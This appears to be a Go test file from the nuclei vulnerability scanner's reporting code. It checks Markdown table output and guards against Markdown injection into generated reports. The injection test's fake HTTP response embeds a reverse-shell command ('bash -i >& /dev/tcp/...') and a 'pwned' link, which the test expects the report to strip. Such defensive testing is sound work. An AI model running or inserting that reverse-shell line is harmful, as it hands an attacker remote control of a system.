Path: blob/dev/pkg/reporting/format/format_utils_test.go
2070 views
package format12import (3"fmt"4"strings"5"testing"67"github.com/projectdiscovery/nuclei/v3/pkg/model"8"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"9"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"10"github.com/projectdiscovery/nuclei/v3/pkg/output"11"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util"12"github.com/stretchr/testify/require"13)1415func TestToMarkdownTableString(t *testing.T) {16info := model.Info{17Name: "Test Template Name",18Authors: stringslice.StringSlice{Value: []string{"forgedhallpass", "ice3man"}},19Description: "Test description",20SeverityHolder: severity.Holder{Severity: severity.High},21Tags: stringslice.StringSlice{Value: []string{"cve", "misc"}},22Reference: stringslice.NewRawStringSlice("reference1"),23Metadata: map[string]interface{}{24"customDynamicKey1": "customDynamicValue1",25"customDynamicKey2": "customDynamicValue2",26},27}2829result := CreateTemplateInfoTable(&info, &util.MarkdownFormatter{})3031expectedOrderedAttributes := `| Key | Value |32| --- | --- |33| Name | Test Template Name |34| Authors | forgedhallpass, ice3man |35| Tags | cve, misc |36| Severity | high |37| Description | Test description |`3839expectedDynamicAttributes := []string{40"| customDynamicKey1 | customDynamicValue1 |",41"| customDynamicKey2 | customDynamicValue2 |",42"", // the expected result ends in a new line (\n)43}4445actualAttributeSlice := strings.Split(result, "\n")46dynamicAttributeIndex := len(actualAttributeSlice) - len(expectedDynamicAttributes)47require.Equal(t, strings.Split(expectedOrderedAttributes, "\n"), actualAttributeSlice[:dynamicAttributeIndex]) // the first part of the result is ordered48require.ElementsMatch(t, expectedDynamicAttributes, actualAttributeSlice[dynamicAttributeIndex:]) // dynamic parameters are not ordered49}5051func TestCreateReportDescription_MarkdownInjection(t *testing.T) {52// Setup a mock result event with malicious payload in various fields53event := &output.ResultEvent{54TemplateID: "test-template",55Host: "example.com",56Matched: "https://example.com/vulnerable",57Type: "http",58Info: model.Info{59Name: "Test Template",60Authors: stringslice.StringSlice{Value: []string{"researcher"}},61SeverityHolder: severity.Holder{Severity: severity.High},62Tags: stringslice.StringSlice{Value: []string{"test"}},63},64Request: "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",65Response: "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<html><body>Hello, world\r\n\r\n```\r\n\r\nReferences:\r\n- https://rce.ee/pwned\r\n\r\n**CURL command**\r\n```sh\r\nbash -i >& /dev/tcp/10.0.0.1/4242 0>&1\r\n```\r\n</body></html>",66CURLCommand: "curl -X GET https://example.com",67}6869result := CreateReportDescription(event, &util.MarkdownFormatter{}, false)70fmt.Println(result)7172require.NotContains(t, result, "```\r\n\r\nReferences:\r\n- https://rce.ee/pwned")73require.NotContains(t, result, "```sh\r\nbash -i >& /dev/tcp")74}757677